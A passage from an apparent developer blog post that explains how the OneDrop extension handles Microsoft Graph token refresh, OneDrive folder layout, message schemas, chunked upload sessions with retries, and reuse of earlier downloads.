&lt;p&gt;&lt;code&gt;getCurrentAccessToken()&lt;/code&gt;  checks validity before Graph access, allowing a 60-second expiry margin. As expiry approaches, it uses the  &lt;code&gt;refresh token&lt;/code&gt;  to request a new  &lt;code&gt;access token&lt;/code&gt; . The  &lt;code&gt;refreshInFlight ??=&lt;/code&gt;  in the screenshot lets concurrent callers share that refresh  &lt;code&gt;Promise&lt;/code&gt; . That avoids duplicate refresh requests and races when saving the responses. The promise is cleared on completion so a future refresh can start.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1793267307/Typora/2026/10/29/onedrop-tech-token-refresh.png&#34; alt=&#34;Reusing an in-flight token refresh&#34; /&gt;&lt;/p&gt;
&lt;p&gt;Ordinary refresh failures return an error. For errors such as  &lt;code&gt;invalid_grant&lt;/code&gt;  or  &lt;code&gt;interaction_required&lt;/code&gt; , OneDrop first tries silent authorisation with  &lt;code&gt;prompt=none&lt;/code&gt; . If that also cannot proceed it clears its stored tokens and requests login. Signing out of OneDrop clears its own tokens without signing the browser out of Microsoft.&lt;/p&gt;
&lt;p&gt;The UI decodes name and username using  &lt;code&gt;readUnverifiedIdTokenClaims&lt;/code&gt; . As the name indicates, it reads the fields without verifying the signature locally. These values supply display information, and the username can serve as a silent-login  &lt;code&gt;login_hint&lt;/code&gt; .&lt;/p&gt;
&lt;span id=&#34;appsonedrop-存储目录&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;the-appsonedrop-directory&#34; data-section=&#34;appsonedrop-存储目录&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#the-appsonedrop-directory&#34;&gt;#&lt;/a&gt; The Apps/OneDrop directory&lt;/h3&gt;
&lt;p&gt;Messages, attachments and settings live in one predictable location visible to the user in OneDrive. After obtaining a token the client checks  &lt;code&gt;/me/drive/root:/Apps/OneDrop&lt;/code&gt; , relative to the signed-in user’s drive root. A 404 indicates a missing directory. It checks and creates each level as needed, first  &lt;code&gt;Apps&lt;/code&gt; , then  &lt;code&gt;OneDrop&lt;/code&gt; . Creation fails on conflict; if another device created the folder first, the client rereads it rather than replacing the object. Overwriting an object with the same name could destroy content the other device had already written. Part two uses similar reasoning for writes and archives.&lt;/p&gt;
&lt;span id=&#34;文本与文件怎样保存和传输&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;storing-and-transferring-text-and-files&#34; data-section=&#34;文本与文件怎样保存和传输&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#storing-and-transferring-text-and-files&#34;&gt;#&lt;/a&gt; Storing and transferring text and files&lt;/h2&gt;
&lt;span id=&#34;分离消息记录和附件&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;separating-metadata-from-attachments&#34; data-section=&#34;分离消息记录和附件&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#separating-metadata-from-attachments&#34;&gt;#&lt;/a&gt; Separating metadata from attachments&lt;/h3&gt;
&lt;span id=&#34;云端目录结构&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h4 id=&#34;cloud-layout&#34; data-section=&#34;云端目录结构&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#cloud-layout&#34;&gt;#&lt;/a&gt; Cloud layout&lt;/h4&gt;
&lt;p&gt;Text and files appear in the same message list but are stored differently in OneDrive. Text is small enough to store in JSON. File contents are uploaded separately; their message records store what’s needed to locate and display them. Here’s the layout, using example years and months:&lt;/p&gt;
&lt;figure class=&#34;highlight plaintext&#34;&gt;&lt;figcaption data-lang=&#34;plaintext&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;Apps/OneDrop/&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;2&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;├── messages/&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;3&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;│   └── 2026-10/&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;4&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;│       ├── 0001.json&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;5&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;│       └── 0002.json&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;6&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;├── archive/&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;7&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;│   └── 2026-09.json&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;8&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;├── files/&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;9&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;│   └── 2026/10/&amp;lt;message-id&gt;/&amp;lt;original-filename&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;10&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;├── settings/&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;11&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;│   ├── account.json&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;12&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;│   └── devices/&amp;lt;device-id&gt;.json&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;13&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;└── tombstones/&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;14&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;    └── 2026-10.json&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;&lt;code&gt;messages&lt;/code&gt;  contains active chunks,  &lt;code&gt;archive&lt;/code&gt;  holds consolidated months and  &lt;code&gt;files&lt;/code&gt;  contains attachments. Device settings have separate documents under  &lt;code&gt;settings&lt;/code&gt; , avoiding a shared rewrite for every preference change. Reads use the ID markers in  &lt;code&gt;tombstones&lt;/code&gt;  to filter deleted messages. UTC month boundaries keep devices in different time zones from assigning the same timestamp to different months.&lt;/p&gt;
&lt;span id=&#34;消息字段与数据校验&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h4 id=&#34;message-fields-and-validation&#34; data-section=&#34;消息字段与数据校验&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#message-fields-and-validation&#34;&gt;#&lt;/a&gt; Message fields and validation&lt;/h4&gt;
&lt;p&gt;OneDrop uses Zod to define the message schema and validate the JSON it actually reads. TypeScript types alone can’t check an incoming document. The common fields are the format version  &lt;code&gt;schemaVersion&lt;/code&gt; , a UUID message identifier  &lt;code&gt;id&lt;/code&gt; , the creation time  &lt;code&gt;createdAt&lt;/code&gt;  and an optional  &lt;code&gt;senderDeviceId&lt;/code&gt; . Stable IDs identify the original across retries and merges. The sender device ID distinguishes messages from this installation from messages sent on other devices. It identifies an installation, not the Microsoft account.&lt;/p&gt;
&lt;figure class=&#34;highlight typescript&#34;&gt;&lt;figcaption data-lang=&#34;typescript&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token keyword&#34;&gt;const&lt;/span&gt; messageBaseSchema &lt;span class=&#34;token operator&#34;&gt;=&lt;/span&gt; z&lt;span class=&#34;token punctuation&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;token function&#34;&gt;object&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;&amp;#123;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;2&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;  schemaVersion&lt;span class=&#34;token operator&#34;&gt;:&lt;/span&gt; z&lt;span class=&#34;token punctuation&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;token function&#34;&gt;literal&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;token number&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;,&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;3&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;  id&lt;span class=&#34;token operator&#34;&gt;:&lt;/span&gt; z&lt;span class=&#34;token punctuation&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;token function&#34;&gt;uuid&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;,&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;4&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;  createdAt&lt;span class=&#34;token operator&#34;&gt;:&lt;/span&gt; z&lt;span class=&#34;token punctuation&#34;&gt;.&lt;/span&gt;iso&lt;span class=&#34;token punctuation&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;token function&#34;&gt;datetime&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;,&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;5&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;  senderDeviceId&lt;span class=&#34;token operator&#34;&gt;:&lt;/span&gt; z&lt;span class=&#34;token punctuation&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;token function&#34;&gt;uuid&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;token function&#34;&gt;optional&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;,&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;6&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token punctuation&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;Text extends the common fields:&lt;/p&gt;
&lt;figure class=&#34;highlight typescript&#34;&gt;&lt;figcaption data-lang=&#34;typescript&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token keyword&#34;&gt;export&lt;/span&gt; &lt;span class=&#34;token keyword&#34;&gt;const&lt;/span&gt; textMessageSchema &lt;span class=&#34;token operator&#34;&gt;=&lt;/span&gt; messageBaseSchema&lt;span class=&#34;token punctuation&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;token function&#34;&gt;extend&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;&amp;#123;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;2&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;  type&lt;span class=&#34;token operator&#34;&gt;:&lt;/span&gt; z&lt;span class=&#34;token punctuation&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;token function&#34;&gt;literal&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;token string&#34;&gt;&#34;text&#34;&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;,&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;3&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;  text&lt;span class=&#34;token operator&#34;&gt;:&lt;/span&gt; z&lt;span class=&#34;token punctuation&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;token function&#34;&gt;string&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;token function&#34;&gt;trim&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;token function&#34;&gt;min&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;token number&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;token function&#34;&gt;max&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;token number&#34;&gt;20_000&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;,&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;4&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token punctuation&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;The text is trimmed, must remain nonempty and is limited to 20,000 characters. File messages include  &lt;code&gt;attachment.driveItemId&lt;/code&gt; , filename, size and MIME type, with optional image dimensions and  &lt;code&gt;thumbHash&lt;/code&gt; . A  &lt;code&gt;DriveItem&lt;/code&gt;  represents a Graph file or folder; a MIME type such as  &lt;code&gt;image/png&lt;/code&gt;  describes its content. The UI can show the name, size and an image placeholder before fetching the object by ID.&lt;/p&gt;
&lt;p&gt;Each chunk has its own  &lt;code&gt;schemaVersion&lt;/code&gt; ,  &lt;code&gt;month&lt;/code&gt;  and  &lt;code&gt;messages&lt;/code&gt;  array. Both the chunk and its individual records are validated when read. Users can edit, move or damage files outside OneDrop. Writing a file once doesn’t guarantee it will still match the schema when OneDrop reads it again.&lt;/p&gt;
&lt;p&gt;For images the client tries to read the original dimensions and generate a ThumbHash, a compact encoding of a blurred preview. It prefers  &lt;code&gt;createImageBitmap&lt;/code&gt; , falls back to a local image object, scales proportionally to a longest side of at most 100 pixels and reads RGBA from a temporary canvas. Only the preview canvas is downscaled. The original attachment is uploaded unchanged. If metadata extraction fails the send continues without the optional preview.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1793270442/Typora/2026/10/29/onedrop-tech-thumbhash-preview.png&#34; alt=&#34;ThumbHash preview while the actual image loads&#34; /&gt;&lt;/p&gt;
&lt;span id=&#34;本地待发送任务&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;local-pending-tasks&#34; data-section=&#34;本地待发送任务&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#local-pending-tasks&#34;&gt;#&lt;/a&gt; Local pending tasks&lt;/h3&gt;
&lt;p&gt;Draft text, files waiting to upload, commit state and attachment details needed for retries have to survive a closed UI or a &lt;a href=&#34;https://developer.chrome.com/docs/extensions/develop/concepts/service-workers/lifecycle&#34;&gt;suspended Manifest V3 service worker&lt;/a&gt;. OneDrop saves  &lt;code&gt;pending text&lt;/code&gt;  and  &lt;code&gt;pending transfer&lt;/code&gt;  records in IndexedDB, the browser’s local database. A  &lt;code&gt;Blob&lt;/code&gt;  holds the file bytes for retries.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;putPendingTransfer()&lt;/code&gt;  writes a record,  &lt;code&gt;getPendingTransfer()&lt;/code&gt;  retrieves one by ID, and  &lt;code&gt;listPendingTransfers()&lt;/code&gt;  lists them by creation time.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1793271796/Typora/2026/10/29/onedrop-tech-pending-storage.png&#34; alt=&#34;Saving, looking up and listing pending transfers&#34; /&gt;&lt;/p&gt;
&lt;p&gt;Pending state records work this device still owes. The cloud represents what other devices should see. The UI can show progress early, but sending finishes only after the cloud steps succeed. A retry keeps the message ID so it can recognise an earlier successful commit.&lt;/p&gt;
&lt;span id=&#34;文件发送流程&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;sending-a-file&#34; data-section=&#34;文件发送流程&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#sending-a-file&#34;&gt;#&lt;/a&gt; Sending a file&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;files/send&lt;/code&gt;  registers a placeholder, uploads the attachment and then replaces the placeholder with the final file message. The placeholder has type  &lt;code&gt;file-uploading&lt;/code&gt;  and a  &lt;code&gt;pendingAttachment&lt;/code&gt; , without a final  &lt;code&gt;DriveItem&lt;/code&gt;  ID. Other devices can show it immediately. The final message keeps the same ID.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1793212423/Typora/2026/10/29/onedrop-tech-upload.png&#34; alt=&#34;Placeholder, attachment upload and final message commit&#34; /&gt;&lt;/p&gt;
&lt;p&gt;The attachment goes under  &lt;code&gt;files/year/month/message-ID/original-filename&lt;/code&gt; , so two messages can carry files of the same name. Once upload returns a  &lt;code&gt;DriveItem&lt;/code&gt; ,  &lt;code&gt;replaceMessage()&lt;/code&gt;  commits  &lt;code&gt;type: &amp;quot;file&amp;quot;&lt;/code&gt;  to the original chunk with an ETag check. The ETag is the server’s version marker: the check makes sure nothing else has modified the target chunk in the meantime. &lt;a href=&#34;/en/software-development/app-development/onedrop-storage-and-multi-device-sync-part-two/&#34;&gt;Part two&lt;/a&gt; covers concurrent writes in detail.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Failure point&lt;/th&gt;
&lt;th&gt;What happens next&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Placeholder registration&lt;/td&gt;
&lt;td&gt;Try to remove a possibly written placeholder and return  &lt;code&gt;upload-failed&lt;/code&gt; .&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Attachment upload fails or is cancelled&lt;/td&gt;
&lt;td&gt;Try to remove the placeholder and retain failed local state for follow-up.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Upload succeeds but final commit fails&lt;/td&gt;
&lt;td&gt;Return  &lt;code&gt;reconciling&lt;/code&gt; , keep the attachment details and allow a commit retry.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;code&gt;files/retry-commit&lt;/code&gt;  rebuilds the message from the existing attachment. If the final record already exists it returns it, without uploading again. These are separate writes; a later failure doesn’t roll back an earlier success. The intermediate state tells the client whether to retry the transfer or just the commit.&lt;/p&gt;
&lt;p&gt;There’s a month-boundary edge case. Attachment paths use the request’s  &lt;code&gt;createdAt&lt;/code&gt; , but message writes obtain the target month with  &lt;code&gt;getUtcMonth()&lt;/code&gt;  at call time. A long upload or retry across midnight at month end can separate the two. Version 1.0.3 doesn’t pin one immutable month context across the whole send.&lt;/p&gt;
&lt;span id=&#34;上传会话与分片&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;upload-sessions-and-chunks&#34; data-section=&#34;上传会话与分片&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#upload-sessions-and-chunks&#34;&gt;#&lt;/a&gt; Upload sessions and chunks&lt;/h3&gt;
&lt;p&gt;Once you select a file, the UI hands the upload to the runtime on your device. The runtime handles authentication, transfers and storage. Extensions dispatch to the background runtime; the native iOS app uses its own entry point. Small files can be passed as Base64 and written to the target’s  &lt;code&gt;/content&lt;/code&gt;  endpoint using HTTP  &lt;code&gt;PUT&lt;/code&gt; . Larger files stay as Blobs in shared IndexedDB. The runtime creates a &lt;a href=&#34;https://learn.microsoft.com/en-us/graph/api/driveitem-createuploadsession?view=graph-rest-1.0&#34;&gt;Graph upload session&lt;/a&gt; with  &lt;code&gt;createUploadSession&lt;/code&gt;  and sends successive slices to its dedicated URL, avoiding a large Base64 round trip.&lt;/p&gt;
&lt;span id=&#34;选择上传方式与分片大小&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h4 id=&#34;selecting-a-transfer-method-and-chunk-size&#34; data-section=&#34;选择上传方式与分片大小&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#selecting-a-transfer-method-and-chunk-size&#34;&gt;#&lt;/a&gt; Selecting a transfer method and chunk size&lt;/h4&gt;
&lt;p&gt;On slower connections, each completed chunk lets the client update the progress bar with the number of bytes OneDrive has accepted. If a chunk fails, only that chunk needs to be retried. Regular chunk sizes use &lt;a href=&#34;https://learn.microsoft.com/en-us/graph/api/driveitem-createuploadsession?view=graph-rest-1.0#upload-bytes-to-the-upload-session&#34;&gt;Graph’s 320 KB alignment&lt;/a&gt;; the final chunk carries the remainder.&lt;/p&gt;
&lt;p&gt;OneDrop chooses 320 KB, 640 KB or 5 MB, respectively one, two or sixteen base units. Non-images larger than 4 MB use 5 MB chunks; other files of at least 1 MB use 640 KB; smaller files use 320 KB. Smaller chunks report progress sooner; larger ones reduce request count.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;shouldUseUploadSession()&lt;/code&gt;  starts using sessions at 320 KB. That threshold is OneDrop’s choice.  &lt;code&gt;MAX_DIRECT_FILE_BYTES = 4 * 1024 * 1024&lt;/code&gt;  guards the direct upload function and helps select chunk size. Neither value is an overall attachment size limit.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1793271794/Typora/2026/10/29/onedrop-tech-chunk-size.png&#34; alt=&#34;Choosing the upload method and chunk size separately&#34; /&gt;&lt;/p&gt;
&lt;span id=&#34;校验内容与提交分片&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h4 id=&#34;validating-and-submitting-chunks&#34; data-section=&#34;校验内容与提交分片&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#validating-and-submitting-chunks&#34;&gt;#&lt;/a&gt; Validating and submitting chunks&lt;/h4&gt;
&lt;p&gt;Direct upload checks the decoded byte count against the file size; session upload checks the  &lt;code&gt;Blob&lt;/code&gt;  size. For direct uploads, directory preparation and content transfer each have a twelve-second budget. Otherwise directory requests could use up nearly all the time before the upload even starts. User cancellation and timeout return distinct errors.&lt;/p&gt;
&lt;p&gt;Creating the session requires a Graph token. After that the client sends slices directly to  &lt;code&gt;uploadUrl&lt;/code&gt;  with  &lt;code&gt;Content-Range: bytes start-end/total&lt;/code&gt; . The end is inclusive, hence  &lt;code&gt;end - 1&lt;/code&gt;  in the code.&lt;/p&gt;
&lt;p&gt;A partial upload normally returns  &lt;code&gt;202 Accepted&lt;/code&gt; . A saved file returns  &lt;code&gt;200 OK&lt;/code&gt;  or  &lt;code&gt;201 Created&lt;/code&gt;  with the resulting  &lt;code&gt;DriveItem&lt;/code&gt; . The client validates its ID, name and size, constructs the attachment metadata and marks progress complete. If all local chunks have been sent but no completion response arrives, it reports an error. Sending the last byte alone doesn’t establish that Graph saved the file.&lt;/p&gt;
&lt;span id=&#34;失败重试与进度恢复&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h4 id=&#34;retrying-and-recovering-progress&#34; data-section=&#34;失败重试与进度恢复&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#retrying-and-recovering-progress&#34;&gt;#&lt;/a&gt; Retrying and recovering progress&lt;/h4&gt;
&lt;p&gt;Each chunk gets up to three attempts with waits of 500 milliseconds and one second. Although the code lists 429 and several 5xx statuses, errors enter the same catch block and other non-cancellation exceptions can also retry. It doesn’t use  &lt;code&gt;Retry-After&lt;/code&gt; . Cancellation aborts the current request with  &lt;code&gt;AbortController&lt;/code&gt; .&lt;/p&gt;
&lt;p&gt;A manual resend checks for an existing file at the original path with the same name and size. It can reuse that object, but doesn’t compare content hashes. Progress includes acknowledged bytes, the current chunk end and historical average speed. The UI uses that average to estimate progress. Failing to read or write local speed statistics doesn’t stop the transfer. The loop doesn’t persist the upload URL or offset or query the server for missing ranges after a restart, so closing the program can’t resume the session at its last chunk.&lt;/p&gt;
&lt;span id=&#34;下载记录与文件复用&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;downloads-and-file-reuse&#34; data-section=&#34;下载记录与文件复用&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#downloads-and-file-reuse&#34;&gt;#&lt;/a&gt; Downloads and file reuse&lt;/h3&gt;
&lt;span id=&#34;下载地址与图片预览&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h4 id=&#34;download-addresses-and-image-previews&#34; data-section=&#34;下载地址与图片预览&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#download-addresses-and-image-previews&#34;&gt;#&lt;/a&gt; Download addresses and image previews&lt;/h4&gt;
&lt;p&gt;OneDrop looks up  &lt;code&gt;@microsoft.graph.downloadUrl&lt;/code&gt;  by  &lt;code&gt;DriveItem&lt;/code&gt;  ID, then delegates to the platform. The URL is temporary. The persistent message stores the ID.&lt;/p&gt;
&lt;p&gt;For inline image previews it can also read  &lt;code&gt;/content&lt;/code&gt; , Base64-encode the bytes and embed them in a data URL for the UI. This preview path has a 4 MB limit, checked after reading the content. Ordinary uploads and downloads have separate rules.&lt;/p&gt;
&lt;span id=&#34;复用已有下载&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h4 id=&#34;reusing-a-download&#34; data-section=&#34;复用已有下载&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#reusing-a-download&#34;&gt;#&lt;/a&gt; Reusing a download&lt;/h4&gt;
&lt;p&gt;The desktop extension maps cloud  &lt;code&gt;DriveItem&lt;/code&gt;  IDs to browser download IDs. On reopening, it checks whether the download still exists, finished or was interrupted. It reuses a valid entry and discards a stale one before downloading again. Save As and forced downloads bypass reuse.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;openExistingDownload()&lt;/code&gt;  returns  &lt;code&gt;false&lt;/code&gt;  for a missing record, removed file or interrupted download. An active transfer returns its status; a completed one records the new open operation.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1793271800/Typora/2026/10/29/onedrop-tech-download-reuse.png&#34; alt=&#34;Checking and reusing an existing browser download&#34; /&gt;&lt;/p&gt;
&lt;span id=&#34;确认浏览器下载完成&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h4 id=&#34;confirming-completion&#34; data-section=&#34;确认浏览器下载完成&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#confirming-completion&#34;&gt;#&lt;/a&gt; Confirming completion&lt;/h4&gt;
